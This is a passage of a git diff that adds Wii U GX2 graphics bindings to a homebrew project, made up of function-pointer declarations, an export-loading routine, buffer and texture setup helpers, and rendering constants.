s32 format, s32 buffering_mode); +EXPORT_DECL(void, GX2CalcSurfaceSizeAndAlignment, GX2Surface *surface); +EXPORT_DECL(void, GX2InitDepthBufferRegs, GX2DepthBuffer *depthBuffer); +EXPORT_DECL(void, GX2InitColorBufferRegs, GX2ColorBuffer *colorBuffer); +EXPORT_DECL(void, GX2CalcColorBufferAuxInfo, GX2ColorBuffer *colorBuffer, u32 *size, u32 *align); +EXPORT_DECL(void, GX2CalcDepthBufferHiZInfo, GX2DepthBuffer *depthBuffer, u32 *size, u32 *align); +EXPORT_DECL(void, GX2InitDepthBufferHiZEnable, GX2DepthBuffer *depthBuffer, s32 hiZ_enable); +EXPORT_DECL(void, GX2SetupContextStateEx, GX2ContextState* state, s32 enable_profiling); +EXPORT_DECL(void, GX2SetColorBuffer, const GX2ColorBuffer *colorBuffer, s32 target); +EXPORT_DECL(void, GX2SetDepthBuffer, const GX2DepthBuffer *depthBuffer); +EXPORT_DECL(void, GX2SetAttribBuffer, u32 attr_index, u32 attr_size, u32 stride, const void* attr); +EXPORT_DECL(void, GX2InitTextureRegs, GX2Texture *texture); +EXPORT_DECL(void, GX2InitSampler, GX2Sampler *sampler, s32 tex_clamp, s32 min_mag_filter); +EXPORT_DECL(u32, GX2CalcFetchShaderSizeEx, u32 num_attrib, s32 fetch_shader_type, s32 tessellation_mode); +EXPORT_DECL(void, GX2InitFetchShaderEx, GX2FetchShader* fs, void* fs_buffer, u32 count, const GX2AttribStream* attribs, s32 fetch_shader_type, s32 tessellation_mode); +EXPORT_DECL(void, GX2SetFetchShader, const GX2FetchShader* fs); +EXPORT_DECL(void, GX2SetVertexUniformReg, u32 offset, u32 count, const void *values); +EXPORT_DECL(void, GX2SetPixelUniformReg, u32 offset, u32 count, const void *values); +EXPORT_DECL(void, GX2SetPixelTexture, const GX2Texture *texture, u32 texture_hw_location); +EXPORT_DECL(void, GX2SetVertexTexture, const GX2Texture *texture, u32 texture_hw_location); +EXPORT_DECL(void, GX2SetPixelSampler, const GX2Sampler *sampler, u32 sampler_hw_location); +EXPORT_DECL(void, GX2SetVertexSampler, const GX2Sampler *sampler, u32 sampler_hw_location); +EXPORT_DECL(void, GX2SetPixelShader, const GX2PixelShader* pixelShader); +EXPORT_DECL(void, GX2SetVertexShader, const GX2VertexShader* vertexShader); +EXPORT_DECL(void, GX2InitSamplerZMFilter, GX2Sampler *sampler, s32 z_filter, s32 mip_filter); +EXPORT_DECL(void, GX2SetColorControl, s32 lop, u8 blend_enable_mask, s32 enable_multi_write, s32 enable_color_buffer); +EXPORT_DECL(void, GX2SetDepthOnlyControl, s32 enable_depth, s32 enable_depth_write, s32 depth_comp_function); +EXPORT_DECL(void, GX2SetBlendControl, s32 target, s32 color_src_blend, s32 color_dst_blend, s32 color_combine, s32 separate_alpha_blend, s32 alpha_src_blend, s32 alpha_dst_blend, s32 alpha_combine); +EXPORT_DECL(void, GX2CalcDRCSize, s32 drc_mode, s32 format, s32 buffering_mode, u32 *size, s32 *scale_needed); +EXPORT_DECL(void, GX2SetDRCBuffer, void *buffer, u32 buffer_size, s32 drc_mode, s32 surface_format, s32 buffering_mode); +EXPORT_DECL(void, GX2SetDRCScale, u32 width, u32 height); +EXPORT_DECL(void, GX2SetDRCEnable, s32 enable); +EXPORT_DECL(void, GX2SetPolygonControl, s32 front_face_mode, s32 cull_front, s32 cull_back, s32 enable_mode, s32 mode_font, s32 mode_back, s32 poly_offset_front, s32 poly_offset_back, s32 point_line_offset); +EXPORT_DECL(void, GX2SetCullOnlyControl, s32 front_face_mode, s32 cull_front, s32 cull_back); +EXPORT_DECL(void, GX2SetDepthStencilControl, s32 enable_depth_test, s32 enable_depth_write, s32 depth_comp_function, s32 stencil_test_enable, s32 back_stencil_enable, + s32 font_stencil_func, s32 front_stencil_z_pass, s32 front_stencil_z_fail, s32 front_stencil_fail, + s32 back_stencil_func, s32 back_stencil_z_pass, s32 back_stencil_z_fail, s32 back_stencil_fail); +EXPORT_DECL(void, GX2SetStencilMask, u8 mask_front, u8 write_mask_front, u8 ref_front, u8 mask_back, u8 write_mask_back, u8 ref_back); +EXPORT_DECL(void, GX2SetLineWidth, f32 width); +EXPORT_DECL(void, GX2SetTVGamma, f32 val); +EXPORT_DECL(void, GX2SetDRCGamma, f32 gam); +EXPORT_DECL(s32, GX2GetSystemTVScanMode, void); +EXPORT_DECL(s32, GX2GetSystemDRCScanMode, void); +EXPORT_DECL(void, GX2RSetAllocator, void * (* allocFunc)(u32, u32, u32), void (* freeFunc)(u32, void*)); + + +void InitGX2FunctionPointers(void) +{ + unsigned int *funcPointer = 0; + unsigned int gx2_handle; + OSDynLoad_Acquire("gx2.rpl", &gx2_handle); + + OS_FIND_EXPORT(gx2_handle, GX2Init); + OS_FIND_EXPORT(gx2_handle, GX2Shutdown); + OS_FIND_EXPORT(gx2_handle, GX2Flush); + OS_FIND_EXPORT(gx2_handle, GX2GetMainCoreId); + OS_FIND_EXPORT(gx2_handle, GX2DrawDone); + OS_FIND_EXPORT(gx2_handle, GX2ClearColor); + OS_FIND_EXPORT(gx2_handle, GX2SetViewport); + OS_FIND_EXPORT(gx2_handle, GX2SetScissor); + OS_FIND_EXPORT(gx2_handle, GX2SetContextState); + OS_FIND_EXPORT(gx2_handle, GX2DrawEx); + OS_FIND_EXPORT(gx2_handle, GX2DrawIndexedEx); + OS_FIND_EXPORT(gx2_handle, GX2ClearDepthStencilEx); + OS_FIND_EXPORT(gx2_handle, GX2CopyColorBufferToScanBuffer); + OS_FIND_EXPORT(gx2_handle, GX2SwapScanBuffers); + OS_FIND_EXPORT(gx2_handle, GX2SetTVEnable); + OS_FIND_EXPORT(gx2_handle, GX2SetSwapInterval); + OS_FIND_EXPORT(gx2_handle, GX2GetSwapInterval); + OS_FIND_EXPORT(gx2_handle, GX2WaitForVsync); + OS_FIND_EXPORT(gx2_handle, GX2CalcTVSize); + OS_FIND_EXPORT(gx2_handle, GX2Invalidate); + OS_FIND_EXPORT(gx2_handle, GX2SetTVBuffer); + OS_FIND_EXPORT(gx2_handle, GX2CalcSurfaceSizeAndAlignment); + OS_FIND_EXPORT(gx2_handle, GX2InitDepthBufferRegs); + OS_FIND_EXPORT(gx2_handle, GX2InitColorBufferRegs); + OS_FIND_EXPORT(gx2_handle, GX2CalcColorBufferAuxInfo); + OS_FIND_EXPORT(gx2_handle, GX2CalcDepthBufferHiZInfo); + OS_FIND_EXPORT(gx2_handle, GX2InitDepthBufferHiZEnable); + OS_FIND_EXPORT(gx2_handle, GX2SetupContextStateEx); + OS_FIND_EXPORT(gx2_handle, GX2SetColorBuffer); + OS_FIND_EXPORT(gx2_handle, GX2SetDepthBuffer); + OS_FIND_EXPORT(gx2_handle, GX2SetAttribBuffer); + OS_FIND_EXPORT(gx2_handle, GX2InitTextureRegs); + OS_FIND_EXPORT(gx2_handle, GX2InitSampler); + OS_FIND_EXPORT(gx2_handle, GX2CalcFetchShaderSizeEx); + OS_FIND_EXPORT(gx2_handle, GX2InitFetchShaderEx); + OS_FIND_EXPORT(gx2_handle, GX2SetFetchShader); + OS_FIND_EXPORT(gx2_handle, GX2SetVertexUniformReg); + OS_FIND_EXPORT(gx2_handle, GX2SetPixelUniformReg); + OS_FIND_EXPORT(gx2_handle, GX2SetPixelTexture); + OS_FIND_EXPORT(gx2_handle, GX2SetVertexTexture); + OS_FIND_EXPORT(gx2_handle, GX2SetPixelSampler); + OS_FIND_EXPORT(gx2_handle, GX2SetVertexSampler); + OS_FIND_EXPORT(gx2_handle, GX2SetPixelShader); + OS_FIND_EXPORT(gx2_handle, GX2SetVertexShader); + OS_FIND_EXPORT(gx2_handle, GX2InitSamplerZMFilter); + OS_FIND_EXPORT(gx2_handle, GX2SetColorControl); + OS_FIND_EXPORT(gx2_handle, GX2SetDepthOnlyControl); + OS_FIND_EXPORT(gx2_handle, GX2SetBlendControl); + OS_FIND_EXPORT(gx2_handle, GX2CalcDRCSize); + OS_FIND_EXPORT(gx2_handle, GX2SetDRCBuffer); + OS_FIND_EXPORT(gx2_handle, GX2SetDRCScale); + OS_FIND_EXPORT(gx2_handle, GX2SetDRCEnable); + OS_FIND_EXPORT(gx2_handle, GX2SetPolygonControl); + OS_FIND_EXPORT(gx2_handle, GX2SetCullOnlyControl); + OS_FIND_EXPORT(gx2_handle, GX2SetDepthStencilControl); + OS_FIND_EXPORT(gx2_handle, GX2SetStencilMask); + OS_FIND_EXPORT(gx2_handle, GX2SetLineWidth); + OS_FIND_EXPORT(gx2_handle, GX2SetDRCGamma); + OS_FIND_EXPORT(gx2_handle, GX2SetTVGamma); + OS_FIND_EXPORT(gx2_handle, GX2GetSystemTVScanMode); + OS_FIND_EXPORT(gx2_handle, GX2GetSystemDRCScanMode); + OS_FIND_EXPORT(gx2_handle, GX2RSetAllocator); +} diff --git a/src/dynamic_libs/gx2_functions.h b/src/dynamic_libs/gx2_functions.h new file mode 100644 index 0000000..1737833 --- /dev/null +++ b/src/dynamic_libs/gx2_functions.h @@ -0,0 +1,205 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef __GX2_FUNCTIONS_H_ +#define __GX2_FUNCTIONS_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#include "gx2_types.h" + +void InitGX2FunctionPointers(void); + +extern void (* GX2Init)(u32 * init_attribs); +extern void (* GX2Shutdown)(void); +extern void (* GX2Flush)(void); +extern s32 (* GX2GetMainCoreId)(void) ; +extern s32 (* GX2DrawDone)(void); +extern void (* GX2ClearColor)(GX2ColorBuffer *colorBuffer, f32 r, f32 g, f32 b, f32 a); +extern void (* GX2SetViewport)(f32 x, f32 y, f32 w, f32 h, f32 nearZ, f32 farZ); +extern void (* GX2SetScissor)(u32 x_orig, u32 y_orig, u32 wd, u32 ht); +extern void (* GX2SetContextState)(const GX2ContextState* state); +extern void (* GX2DrawEx)(s32 primitive_type, u32 count, u32 first_vertex, u32 instances_count); +extern void (* GX2DrawIndexedEx)(s32 primitive_type, u32 count, s32 index_format, const void* idx, u32 first_vertex, u32 instances_count); +extern void (* GX2ClearDepthStencilEx)(GX2DepthBuffer *depthBuffer, f32 depth_value, u8 stencil_value, s32 clear_mode); +extern void (* GX2CopyColorBufferToScanBuffer)(const GX2ColorBuffer *colorBuffer, s32 scan_target); +extern void (* GX2SwapScanBuffers)(void); +extern void (* GX2SetTVEnable)(s32 enable); +extern void (* GX2SetSwapInterval)(u32 swap_interval); +extern u32 (* GX2GetSwapInterval)(void); +extern void (* GX2WaitForVsync)(void); +extern void (* GX2CalcTVSize)(s32 tv_render_mode, s32 format, s32 buffering_mode, u32 * size, s32 * scale_needed); +extern void (* GX2Invalidate)(s32 invalidate_type, void * ptr, u32 buffer_size); +extern void (* GX2SetTVBuffer)(void *buffer, u32 buffer_size, s32 tv_render_mode, s32 format, s32 buffering_mode); +extern void (* GX2CalcSurfaceSizeAndAlignment)(GX2Surface *surface); +extern void (* GX2InitDepthBufferRegs)(GX2DepthBuffer *depthBuffer); +extern void (* GX2InitColorBufferRegs)(GX2ColorBuffer *colorBuffer); +extern void (* GX2CalcColorBufferAuxInfo)(GX2ColorBuffer *colorBuffer, u32 *size, u32 *align); +extern void (* GX2CalcDepthBufferHiZInfo)(GX2DepthBuffer *depthBuffer, u32 *size, u32 *align); +extern void (* GX2InitDepthBufferHiZEnable)(GX2DepthBuffer *depthBuffer, s32 hiZ_enable); +extern void (* GX2SetupContextStateEx)(GX2ContextState* state, s32 enable_profiling); +extern void (* GX2SetColorBuffer)(const GX2ColorBuffer *colorBuffer, s32 target); +extern void (* GX2SetDepthBuffer)(const GX2DepthBuffer *depthBuffer); +extern void (* GX2SetAttribBuffer)(u32 attr_index, u32 attr_size, u32 stride, const void* attr); +extern void (* GX2InitTextureRegs)(GX2Texture *texture); +extern void (* GX2InitSampler)(GX2Sampler *sampler, s32 tex_clamp, s32 min_mag_filter); +extern u32 (* GX2CalcFetchShaderSizeEx)(u32 num_attrib, s32 fetch_shader_type, s32 tessellation_mode); +extern void (* GX2InitFetchShaderEx)(GX2FetchShader* fs, void* fs_buffer, u32 count, const GX2AttribStream* attribs, s32 fetch_shader_type, s32 tessellation_mode); +extern void (* GX2SetFetchShader)(const GX2FetchShader* fs); +extern void (* GX2SetVertexUniformReg)(u32 offset, u32 count, const void *values); +extern void (* GX2SetPixelUniformReg)(u32 offset, u32 count, const void *values); +extern void (* GX2SetPixelTexture)(const GX2Texture *texture, u32 texture_hw_location); +extern void (* GX2SetVertexTexture)(const GX2Texture *texture, u32 texture_hw_location); +extern void (* GX2SetPixelSampler)(const GX2Sampler *sampler, u32 sampler_hw_location); +extern void (* GX2SetVertexSampler)(const GX2Sampler *sampler, u32 sampler_hw_location); +extern void (* GX2SetPixelShader)(const GX2PixelShader* pixelShader); +extern void (* GX2SetVertexShader)(const GX2VertexShader* vertexShader); +extern void (* GX2InitSamplerZMFilter)(GX2Sampler *sampler, s32 z_filter, s32 mip_filter); +extern void (* GX2SetColorControl)(s32 lop, u8 blend_enable_mask, s32 enable_multi_write, s32 enable_color_buffer); +extern void (* GX2SetDepthOnlyControl)(s32 enable_depth, s32 enable_depth_write, s32 depth_comp_function); +extern void (* GX2SetBlendControl)(s32 target, s32 color_src_blend, s32 color_dst_blend, s32 color_combine, s32 separate_alpha_blend, s32 alpha_src_blend, s32 alpha_dst_blend, s32 alpha_combine); +extern void (* GX2CalcDRCSize)(s32 drc_mode, s32 format, s32 buffering_mode, u32 *size, s32 *scale_needed); +extern void (* GX2SetDRCBuffer)(void *buffer, u32 buffer_size, s32 drc_mode, s32 surface_format, s32 buffering_mode); +extern void (* GX2SetDRCScale)(u32 width, u32 height); +extern void (* GX2SetDRCEnable)(s32 enable); +extern void (* GX2SetPolygonControl)(s32 front_face_mode, s32 cull_front, s32 cull_back, s32 enable_mode, s32 mode_font, s32 mode_back, s32 poly_offset_front, s32 poly_offset_back, s32 point_line_offset); +extern void (* GX2SetCullOnlyControl)(s32 front_face_mode, s32 cull_front, s32 cull_back); +extern void (* GX2SetDepthStencilControl)(s32 enable_depth_test, s32 enable_depth_write, s32 depth_comp_function, s32 stencil_test_enable, s32 back_stencil_enable, + s32 font_stencil_func, s32 front_stencil_z_pass, s32 front_stencil_z_fail, s32 front_stencil_fail, + s32 back_stencil_func, s32 back_stencil_z_pass, s32 back_stencil_z_fail, s32 back_stencil_fail); +extern void (* GX2SetStencilMask)(u8 mask_front, u8 write_mask_front, u8 ref_front, u8 mask_back, u8 write_mask_back, u8 ref_back); +extern void (* GX2SetLineWidth)(f32 width); +extern void (* GX2SetTVGamma)(f32 val); +extern void (* GX2SetDRCGamma)(f32 val); +extern s32 (* GX2GetSystemTVScanMode)(void); +extern s32 (* GX2GetSystemDRCScanMode)(void); +extern void (* GX2RSetAllocator)(void * (*allocFunc)(u32, u32, u32), void (*freeFunc)(u32, void*)); + +static inline void GX2InitDepthBuffer(GX2DepthBuffer *depthBuffer, s32 dimension, u32 width, u32 height, u32 depth, s32 format, s32 aa) +{ + depthBuffer->surface.dimension = dimension; + depthBuffer->surface.width = width; + depthBuffer->surface.height = height; + depthBuffer->surface.depth = depth; + depthBuffer->surface.num_mips = 1; + depthBuffer->surface.format = format; + depthBuffer->surface.aa = aa; + depthBuffer->surface.use = ((format==GX2_SURFACE_FORMAT_D_D24_S8_UNORM) || (format==GX2_SURFACE_FORMAT_D_D24_S8_FLOAT)) ? GX2_SURFACE_USE_DEPTH_BUFFER : GX2_SURFACE_USE_DEPTH_BUFFER_TEXTURE; + depthBuffer->surface.tile = GX2_TILE_MODE_DEFAULT; + depthBuffer->surface.swizzle = 0; + depthBuffer->view_mip = 0; + depthBuffer->view_first_slice = 0; + depthBuffer->view_slices_count = depth; + depthBuffer->clear_depth = 1.0f; + depthBuffer->clear_stencil = 0; + depthBuffer->hiZ_data = NULL; + depthBuffer->hiZ_size = 0; + GX2CalcSurfaceSizeAndAlignment(&depthBuffer->surface); + GX2InitDepthBufferRegs(depthBuffer); +} + +static inline void GX2InitColorBuffer(GX2ColorBuffer *colorBuffer, s32 dimension, u32 width, u32 height, u32 depth, s32 format, s32 aa) +{ + colorBuffer->surface.dimension = dimension; + colorBuffer->surface.width = width; + colorBuffer->surface.height = height; + colorBuffer->surface.depth = depth; + colorBuffer->surface.num_mips = 1; + colorBuffer->surface.format = format; + colorBuffer->surface.aa = aa; + colorBuffer->surface.use = GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE_FTV; + colorBuffer->surface.image_size = 0; + colorBuffer->surface.image_data = NULL; + colorBuffer->surface.mip_size = 0; + colorBuffer->surface.mip_data = NULL; + colorBuffer->surface.tile = GX2_TILE_MODE_DEFAULT; + colorBuffer->surface.swizzle = 0; + colorBuffer->surface.align = 0; + colorBuffer->surface.pitch = 0; + u32 i; + for(i = 0; i < 13; i++) + colorBuffer->surface.mip_offset[i] = 0; + colorBuffer->view_mip = 0; + colorBuffer->view_first_slice = 0; + colorBuffer->view_slices_count = depth; + colorBuffer->aux_data = NULL; + colorBuffer->aux_size = 0; + for(i = 0; i < 5; i++) + colorBuffer->regs[i] = 0; + + GX2CalcSurfaceSizeAndAlignment(&colorBuffer->surface); + GX2InitColorBufferRegs(colorBuffer); +} + +static inline void GX2InitAttribStream(GX2AttribStream* attr, u32 location, u32 buffer, u32 offset, s32 format) +{ + attr->location = location; + attr->buffer = buffer; + attr->offset = offset; + attr->format = format; + attr->index_type = 0; + attr->divisor = 0; + attr->destination_selector = attribute_dest_comp_selector[format & 0xff]; + attr->endian_swap = GX2_ENDIANSWAP_DEFAULT; +} + +static inline void GX2InitTexture(GX2Texture *tex, u32 width, u32 height, u32 depth, u32 num_mips, s32 format, s32 dimension, s32 tile) +{ + tex->surface.dimension = dimension; + tex->surface.width = width; + tex->surface.height = height; + tex->surface.depth = depth; + tex->surface.num_mips = num_mips; + tex->surface.format = format; + tex->surface.aa = GX2_AA_MODE_1X; + tex->surface.use = GX2_SURFACE_USE_TEXTURE; + tex->surface.image_size = 0; + tex->surface.image_data = NULL; + tex->surface.mip_size = 0; + tex->surface.mip_data = NULL; + tex->surface.tile = tile; + tex->surface.swizzle = 0; + tex->surface.align = 0; + tex->surface.pitch = 0; + u32 i; + for(i = 0; i < 13; i++) + tex->surface.mip_offset[i] = 0; + tex->view_first_mip = 0; + tex->view_mips_count = num_mips; + tex->view_first_slice = 0; + tex->view_slices_count = depth; + tex->component_selector = texture_comp_selector[format & 0x3f]; + for(i = 0; i < 5; i++) + tex->regs[i] = 0; + + GX2CalcSurfaceSizeAndAlignment(&tex->surface); + GX2InitTextureRegs(tex); +} + +#ifdef __cplusplus +} +#endif + +#endif // __GX2_FUNCTIONS_H_ diff --git a/src/dynamic_libs/gx2_types.h b/src/dynamic_libs/gx2_types.h new file mode 100644 index 0000000..8f28bd6 --- /dev/null +++ b/src/dynamic_libs/gx2_types.h @@ -0,0 +1,699 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef _GX2_TYPES_H_ +#define _GX2_TYPES_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#include + +//!----------------------------------------------------------------------------------------------------------------------- +//! Constants +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_COMMAND_BUFFER_SIZE 0x400000 +#define GX2_SCAN_BUFFER_ALIGNMENT 0x1000 +#define GX2_SHADER_ALIGNMENT 0x100 +#define GX2_CONTEXT_STATE_ALIGNMENT 0x100 +#define GX2_DISPLAY_LIST_ALIGNMENT 0x20 +#define GX2_VERTEX_BUFFER_ALIGNMENT 0x40 +#define GX2_INDEX_BUFFER_ALIGNMENT 0x20 + +#define GX2_CONTEXT_STATE_SIZE 0xA100 + +#define GX2_AUX_BUFFER_CLEAR_VALUE 0xCC + +//!----------------------------------------------------------------------------------------------------------------------- +//! Common +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_FALSE 0 +#define GX2_TRUE 1 +#define GX2_DISABLE 0 +#define GX2_ENABLE 1 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2InitAttrib +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_INIT_ATTRIB_NULL 0 +#define GX2_INIT_ATTRIB_CB_BASE 1 +#define GX2_INIT_ATTRIB_CB_SIZE 2 +#define GX2_INIT_ATTRIB_ARGC 7 +#define GX2_INIT_ATTRIB_ARGV 8 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 compare functions +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_COMPARE_NEVER 0 +#define GX2_COMPARE_LESS 1 +#define GX2_COMPARE_EQUAL 2 +#define GX2_COMPARE_LEQUAL 3 +#define GX2_COMPARE_GREATER 4 +#define GX2_COMPARE_NOTEQUAL 5 +#define GX2_COMPARE_GEQUAL 6 +#define GX2_COMPARE_ALWAYS 7 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 stencil functions +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_STENCIL_KEEP 0 +#define GX2_STENCIL_ZERO 1 +#define GX2_STENCIL_REPLACE 2 +#define GX2_STENCIL_INCR 3 +#define GX2_STENCIL_DECR 4 +#define GX2_STENCIL_INVERT 5 +#define GX2_STENCIL_INCR_WRAP 6 +#define GX2_STENCIL_DECR_WRAP 7 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 logic op functions +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_LOGIC_OP_CLEAR 0x00 +#define GX2_LOGIC_OP_NOR 0x11 +#define GX2_LOGIC_OP_INVAND 0x22 +#define GX2_LOGIC_OP_INVCOPY 0x33 +#define GX2_LOGIC_OP_REVAND 0x44 +#define GX2_LOGIC_OP_INV 0x55 +#define GX2_LOGIC_OP_XOR 0x66 +#define GX2_LOGIC_OP_NAND 0x77 +#define GX2_LOGIC_OP_AND 0x88 +#define GX2_LOGIC_OP_EQUIV 0x99 +#define GX2_LOGIC_OP_NOOP 0xAA +#define GX2_LOGIC_OP_INVOR 0xBB +#define GX2_LOGIC_OP_COPY 0xCC +#define GX2_LOGIC_OP_REVOR 0xDD +#define GX2_LOGIC_OP_OR 0xEE +#define GX2_LOGIC_OP_SET 0xFF + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 blend combination functions +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_BLEND_COMBINE_ADD 0x00 +#define GX2_BLEND_COMBINE_SRC_MINUS_DST 0x01 +#define GX2_BLEND_COMBINE_MIN 0x02 +#define GX2_BLEND_COMBINE_MAX 0x03 +#define GX2_BLEND_COMBINE_DST_MINUS_SRC 0x04 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 blend functions +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_BLEND_ZERO 0x00 +#define GX2_BLEND_ONE 0x01 +#define GX2_BLEND_SRC_ALPHA 0x04 +#define GX2_BLEND_ONE_MINUS_SRC_ALPHA 0x05 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 render targets +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_RENDER_TARGET_0 0 +#define GX2_RENDER_TARGET_1 1 +#define GX2_RENDER_TARGET_2 2 +#define GX2_RENDER_TARGET_3 3 +#define GX2_RENDER_TARGET_4 4 +#define GX2_RENDER_TARGET_5 5 +#define GX2_RENDER_TARGET_6 6 +#define GX2_RENDER_TARGET_7 7 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 cull modes +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_FRONT_FACE_CCW 0 +#define GX2_FRONT_FACE_CW 1 +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 polygon modes +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_POLYGON_MODE_POINT 0 +#define GX2_POLYGON_MODE_LINE 1 +#define GX2_POLYGON_MODE_TRIANGLE 2 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 special states +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_SPECIAL_STATE_CLEAR 0 +#define GX2_SPECIAL_STATE_CLEAR_HIZ 1 +#define GX2_SPECIAL_STATE_COPY 2 +#define GX2_SPECIAL_STATE_EXPAND_COLOR 3 +#define GX2_SPECIAL_STATE_EXPAND_DEPTH 4 +#define GX2_SPECIAL_STATE_CONVERT_DEPTH 5 +#define GX2_SPECIAL_STATE_CONVERT_AADEPTH 6 +#define GX2_SPECIAL_STATE_RESOLVE_COLOR 7 +#define GX2_SPECIAL_STATE_CLEAR_COLOR_AS_DEPTH 8 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 attribute formats +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_ATTRIB_FORMAT_8_UNORM 0x00000000 +#define GX2_ATTRIB_FORMAT_4_4_UNORM 0x00000001 +#define GX2_ATTRIB_FORMAT_16_UNORM 0x00000002 +#define GX2_ATTRIB_FORMAT_8_8_UNORM 0x00000004 +#define GX2_ATTRIB_FORMAT_16_16_UNORM 0x00000007 +#define GX2_ATTRIB_FORMAT_8_8_8_8_UNORM 0x0000000A +#define GX2_ATTRIB_FORMAT_10_10_10_2_UNORM 0x0000000B +#define GX2_ATTRIB_FORMAT_16_16_16_16_UNORM 0x0000000E + +#define GX2_ATTRIB_FORMAT_8_UINT 0x00000100 +#define GX2_ATTRIB_FORMAT_16_UINT 0x00000102 +#define GX2_ATTRIB_FORMAT_8_8_UINT 0x00000104 +#define GX2_ATTRIB_FORMAT_32_UINT 0x00000105 +#define GX2_ATTRIB_FORMAT_16_16_UINT 0x00000107 +#define GX2_ATTRIB_FORMAT_8_8_8_8_UINT 0x0000010A +#define GX2_ATTRIB_FORMAT_10_10_10_2_UINT 0x0000010B +#define GX2_ATTRIB_FORMAT_32_32_UINT 0x0000010C +#define GX2_ATTRIB_FORMAT_16_16_16_16_UINT 0x0000010E +#define GX2_ATTRIB_FORMAT_32_32_32_UINT 0x00000110 +#define GX2_ATTRIB_FORMAT_32_32_32_32_UINT 0x00000112 + +#define GX2_ATTRIB_FORMAT_8_SNORM 0x00000200 +#define GX2_ATTRIB_FORMAT_16_SNORM 0x00000202 +#define GX2_ATTRIB_FORMAT_8_8_SNORM 0x00000204 +#define GX2_ATTRIB_FORMAT_16_16_SNORM 0x00000207 +#define GX2_ATTRIB_FORMAT_8_8_8_8_SNORM 0x0000020A +#define GX2_ATTRIB_FORMAT_10_10_10_2_SNORM 0x0000020B +#define GX2_ATTRIB_FORMAT_16_16_16_16_SNORM 0x0000020E + +#define GX2_ATTRIB_FORMAT_8_SINT 0x00000300 +#define GX2_ATTRIB_FORMAT_16_SINT 0x00000303 +#define GX2_ATTRIB_FORMAT_8_8_SINT 0x00000304 +#define GX2_ATTRIB_FORMAT_32_SINT 0x00000305 +#define GX2_ATTRIB_FORMAT_16_16_SINT 0x00000307 +#define GX2_ATTRIB_FORMAT_8_8_8_8_SINT 0x0000030A +#define GX2_ATTRIB_FORMAT_10_10_10_2_SINT 0x0000030B +#define GX2_ATTRIB_FORMAT_32_32_SINT 0x0000030C +#define GX2_ATTRIB_FORMAT_16_16_16_16_SINT 0x0000030E +#define GX2_ATTRIB_FORMAT_32_32_32_SINT 0x00000310 +#define GX2_ATTRIB_FORMAT_32_32_32_32_SINT 0x00000312 + +#define GX2_ATTRIB_FORMAT_8_UINT_TO_FLOAT 0x00000800 +#define GX2_ATTRIB_FORMAT_16_UINT_TO_FLOAT 0x00000802 +#define GX2_ATTRIB_FORMAT_16_FLOAT 0x00000803 +#define GX2_ATTRIB_FORMAT_8_8_UINT_TO_FLOAT 0x00000804 +#define GX2_ATTRIB_FORMAT_32_FLOAT 0x00000806 +#define GX2_ATTRIB_FORMAT_16_16_UINT_TO_FLOAT 0x00000807 +#define GX2_ATTRIB_FORMAT_16_16_FLOAT 0x00000808 +#define GX2_ATTRIB_FORMAT_10_11_11_FLOAT 0x00000809 +#define GX2_ATTRIB_FORMAT_8_8_8_8_UINT_TO_FLOAT 0x0000080A +#define GX2_ATTRIB_FORMAT_32_32_FLOAT 0x0000080D +#define GX2_ATTRIB_FORMAT_16_16_16_16_UINT_TO_FLOAT 0x0000080E +#define GX2_ATTRIB_FORMAT_16_16_16_16_FLOAT 0x0000080F +#define GX2_ATTRIB_FORMAT_32_32_32_FLOAT 0x00000811 +#define GX2_ATTRIB_FORMAT_32_32_32_32_FLOAT 0x00000813 + +#define GX2_ATTRIB_FORMAT_8_SINT_TO_FLOAT 0x00000A00 +#define GX2_ATTRIB_FORMAT_16_SINT_TO_FLOAT 0x00000A02 +#define GX2_ATTRIB_FORMAT_8_8_SINT_TO_FLOAT 0x00000A04 +#define GX2_ATTRIB_FORMAT_16_16_SINT_TO_FLOAT 0x00000A07 +#define 